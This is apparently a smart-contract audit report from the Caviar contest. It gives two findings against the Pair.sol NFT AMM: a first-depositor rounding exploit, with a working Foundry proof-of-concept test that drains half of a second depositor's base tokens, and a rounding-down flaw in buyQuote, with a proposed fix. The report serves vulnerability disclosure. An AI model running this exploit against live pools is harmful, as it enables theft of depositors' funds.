Caviar contest - Franfran's results

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L423 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L63 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L107

Vulnerability details

Impact

The first depositor of the pool can wreck up the price of the shares for the future depositors (mostly as the pair launches) because of the rounding.

Proof of Concept

1. Bob wraps 1 NFT deposits and received 1e18 denominations of fractionalTokens
2. Bob deposits 1 wei of baseToken with 1e18 denominations of fractionalTokens, and receives about 1e9 LP tokens using add()
3. Alice wraps 1 NFT of the same collection to get 1e18 fractionalTokens, but this time deposits 1e18 baseTokens as well as 1e18 fractionalTokens
4. Even if Bob deposited a dust amount of baseToken, Alice shares of baseTokens are huge, but the amount of LPs is calculated by comparing the smallest value between both shares in addQuote() once the liquidity is not null-ish anymore. Alice will receive 1e9 shares as well.
5. Bob remove() his 1e9 LPs and receives half of the pool, so 1e9 of baseTokens and 1e18 of fractionalTokens

Conclusion: Bob has "stolen" 5e17 wei of baseTokens. Note that this scenario could have been a frontrun, which by bribing a validator would have been much less risky.

See the following poc:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../shared/Fixture.t.sol";
import "src/Caviar.sol";
import "script/CreatePair.s.sol";

contract SharesAudit is Fixture {
    address bob = address(uint160(bytes20(bytes("bob"))));
    address alice = address(uint160(bytes20(bytes("alice"))));

    bytes32[][] public proofs;

    function setUp() public {
        deal(address(usd), bob, 1, true);
        deal(address(usd), alice, 1e18, true);

        bayc.mint(bob, 1);
        bayc.mint(alice, 2);

        vm.startPrank(bob);
        usd.approve(address(p), type(uint256).max);
        bayc.setApprovalForAll(address(p), true);
        vm.stopPrank();

        vm.startPrank(alice);
        usd.approve(address(p), type(uint256).max);
        bayc.setApprovalForAll(address(p), true);
        vm.stopPrank();
    }

    function testBobCanSteal() public {
        uint256[] memory tid = new uint[](1);

        vm.startPrank(bob);
        tid[0] = 1;
        p.wrap(tid, proofs);
        // add only 1 wei of USD and 1 NFT
        p.add(1, 1e18, 0);
        vm.stopPrank();

        vm.startPrank(alice);
        tid[0] = 2;
        p.wrap(tid, proofs);
        // add 1e18 USD and 1 NFT
        p.add(1e18, 1e18, 0);
        vm.stopPrank();

        vm.startPrank(bob);
        // "pull the rug"
        p.remove(1e9, 0, 0);
        vm.stopPrank();

        // bob has stolen half of the pools USD
        assertEq(usd.balanceOf(bob), 5e17);
        // bob took its fractional NFT back
        assertEq(p.balanceOf(bob), 1e18);
    }
}

Output:

forge test --match-contract SharesAudit -vv
[⠢] Compiling...
[⠃] Compiling 1 files with 0.8.17
[⠒] Solc 0.8.17 finished in 1.66s
Compiler run successful

Running 1 test for test/audit/SharesAudit.t.sol:SharesAudit
[PASS] testBobCanSteal() (gas: 283312)
Test result: ok. 1 passed; 0 failed; finished in 3.37ms

Tools Used

Manual inspection

Recommended Mitigation Steps

As UniswapPair02.sol contract, mint a minimum amount of LP tokens that is set sensibly in order to have a value that would make it too expensive to exploit it even if the baseToken has few decimals.

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L398-L400 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L154

Vulnerability details

Impact

When needing to calculate the inputAmount required to receive a certain amount of fractional tokens (called outputAmount), we are deriving from the xy = k curve used on the Uniswap V2 protocol.

Proof of Concept

Some maths:

The so-called curve equation is:

xy = k

With x the reserves of base tokens and y the reserves of fractional tokens in the pair.

We can also say that during a swap from base tokens to fractional tokens, the pool will earn dx base tokens and dy fractional tokens.

Let's rewrite this as an equation:

(x + dx)(y - dy) = k

Which, as the relation should never break, be equivalent to:

(x + dx)(y - dy) = xy

We want to calculate the input amount dx required in order to remove dy from the pool without breaking the constant product formula.

x + dx = xy / (y - dy)
dx = (xy / (y - dy)) - x
dx = (xy - xy + xdy) / (y - fdy)
dx = xdy / (y - dy)

While taking into account the fees denoted here as f, the equation is as follow:

dx = xdy / (f * (y - dy))

Even if correct mathematically, solidity rounds down divisions. See the following solidity-shell session:

 »  uint256 one = 1;
 »  uint256 two = 2;
 »  uint256 a = one / two;
 »  a
0

Thus, we should add "1" as the input amount in order to account for the rounding down with the division.

Note that this function is used in the buy() function and make users buy the fractional tokens at a slightly reduced price, which breaks the Uniswap V2 style curve logic.

Additionally, the same calculation was done in the https://github.com/Uniswap/v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol#L58 contract of the UniswapV2 protocol, and this little denomination is added in order to round up the inputAmount.

Tools Used

Manual inspection

Recommended Mitigation Steps

Add 1 wei at the end of the division in order to round up.

/// @notice The amount of base tokens required to buy a given amount of fractional tokens.
/// @dev Calculated using the xyk invariant and a 30bps fee.
/// @param outputAmount The amount of fractional tokens to buy.
/// @return inputAmount The amount of base tokens required.
function buyQuote(uint256 outputAmount) public view returns (uint256) {
    return (outputAmount * 1000 * baseTokenReserves()) / ((fractionalTokenReserves() - outputAmount) * 997) + 1;
}